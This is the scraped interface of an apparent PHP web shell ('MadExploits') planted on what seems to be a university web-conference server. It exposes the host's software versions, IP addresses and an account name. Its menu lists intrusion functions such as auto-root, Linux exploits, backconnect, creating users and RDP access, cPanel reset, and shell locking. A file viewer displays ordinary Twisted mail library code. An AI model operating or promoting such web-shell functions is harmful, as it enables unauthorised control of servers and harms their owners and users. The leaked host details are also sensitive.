Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.89.181
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
mail /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
458
B
-rw-r--r--
_cred.py
2.72
KB
-rw-r--r--
_except.py
8.56
KB
-rw-r--r--
imap4.py
206.31
KB
-rw-r--r--
interfaces.py
31.4
KB
-rw-r--r--
pop3.py
53.66
KB
-rw-r--r--
pop3client.py
45.61
KB
-rw-r--r--
protocols.py
12.35
KB
-rw-r--r--
relay.py
5.24
KB
-rw-r--r--
smtp.py
69.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _cred.py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Credential managers for L{twisted.mail}. """ from __future__ import absolute_import, division import hmac from zope.interface import implementer from twisted.cred import credentials from twisted.python.compat import nativeString from twisted.mail._except import IllegalClientResponse from twisted.mail.interfaces import IClientAuthentication, IChallengeResponse @implementer(IClientAuthentication) class CramMD5ClientAuthenticator: def __init__(self, user): self.user = user def getName(self): return b"CRAM-MD5" def challengeResponse(self, secret, chal): response = hmac.HMAC(secret, chal).hexdigest().encode('ascii') return self.user + b' ' + response @implementer(IClientAuthentication) class LOGINAuthenticator: def __init__(self, user): self.user = user self.challengeResponse = self.challengeUsername def getName(self): return b"LOGIN" def challengeUsername(self, secret, chal): # Respond to something like "Username:" self.challengeResponse = self.challengeSecret return self.user def challengeSecret(self, secret, chal): # Respond to something like "Password:" return secret @implementer(IClientAuthentication) class PLAINAuthenticator: def __init__(self, user): self.user = user def getName(self): return b"PLAIN" def challengeResponse(self, secret, chal): return b'\0' + self.user + b'\0' + secret @implementer(IChallengeResponse) class LOGINCredentials(credentials.UsernamePassword): def __init__(self): self.challenges = [b'Password\0', b'User Name\0'] self.responses = [b'password', b'username'] credentials.UsernamePassword.__init__(self, None, None) def getChallenge(self): return self.challenges.pop() def setResponse(self, response): setattr(self, nativeString(self.responses.pop()), response) def moreChallenges(self): return bool(self.challenges) @implementer(IChallengeResponse) class PLAINCredentials(credentials.UsernamePassword): def __init__(self): credentials.UsernamePassword.__init__(self, None, None) def getChallenge(self): return b'' def setResponse(self, response): parts = response.split(b'\0') if len(parts) != 3: raise IllegalClientResponse( "Malformed Response - wrong number of parts") useless, self.username, self.password = parts def moreChallenges(self): return False __all__ = [ "CramMD5ClientAuthenticator", "LOGINCredentials", "LOGINAuthenticator", "PLAINCredentials", "PLAINAuthenticator", ]
Close